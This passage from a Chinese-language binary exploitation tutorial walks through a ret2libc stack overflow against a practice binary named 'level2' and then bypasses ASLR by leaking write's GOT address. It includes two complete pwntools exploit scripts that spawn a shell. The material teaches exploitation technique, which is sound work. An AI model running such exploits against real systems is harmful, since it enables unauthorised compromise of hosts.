我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e38b30以及”/bin/sh”的地址0xb7f5ad28。接下来开始写exp:

1
2
3
4
5
6
7
from pwn import *
p = process('./level2')
system_addr=0xb7e38b30
binsh_addr=0xb7f5ad28
payload = 'A'*140+p32(system_addr)+p32(4)+p32(binsh_addr)
p.send(payload)
p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个作为返回地址。下面我们测试一下exp:

6

0x3 通过ROP绕过DEP和ASLR防护

接下来打开ASLR保护

7

现在我们测试一下level2的exp,发现已经不能用了。

通过ldd查看,可以发现每次libc.so都是变化的。

8

如何解决地址随机化的问题?思路是:我们需要先泄露libc.so某些函数在内存中法人地址,然后在利用泄露出的函数根据偏移量计算出system()函数的地址和/bin/sh字符串在内存中的地址,然后执行ret2libc的shellcode。既然栈、libc、heap的地址都是随机的,怎么样才能泄露libc的地址呢?

所以只要把返回值设置到程序本身就可以执行我们期望的指令。首先利用objdump来查看可以利用的plt函数和函数对应的got表:

9

10

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got跳转到真正的write()函数上去。

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取shell。

使用ldd命令可以查看目标程序调用的so库。然后把libc.so拷贝到当前目录,因为exp需要这个so文件来计算相对地址:

11

最后利用的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
libc=ELF('libc.so')
elf=ELF('./level2')
p=process('./level2')
write_plt=elf.symbols['write']
print 'write_plt='+hex(write_plt)
write_got=elf.got['write']
print 'write_got='+hex(write_got)
vulfun_addr = 0x804844d
print 'vulfun='+hex(vulfun_addr)
payload1='A'*140+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))
print 'write_addr='+hex(write_addr)
system_addr=write_addr-(libc.symbols['write'] - libc.symbols['system'])
print 'system_addr='+hex(system_addr)
binsh_addr=write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr='+hex(binsh_addr)
payload2='A'*140+p32(system_addr)+p32(vulfun_addr)+p32(binsh_addr)
p.send(payload2)
p.interactive()

12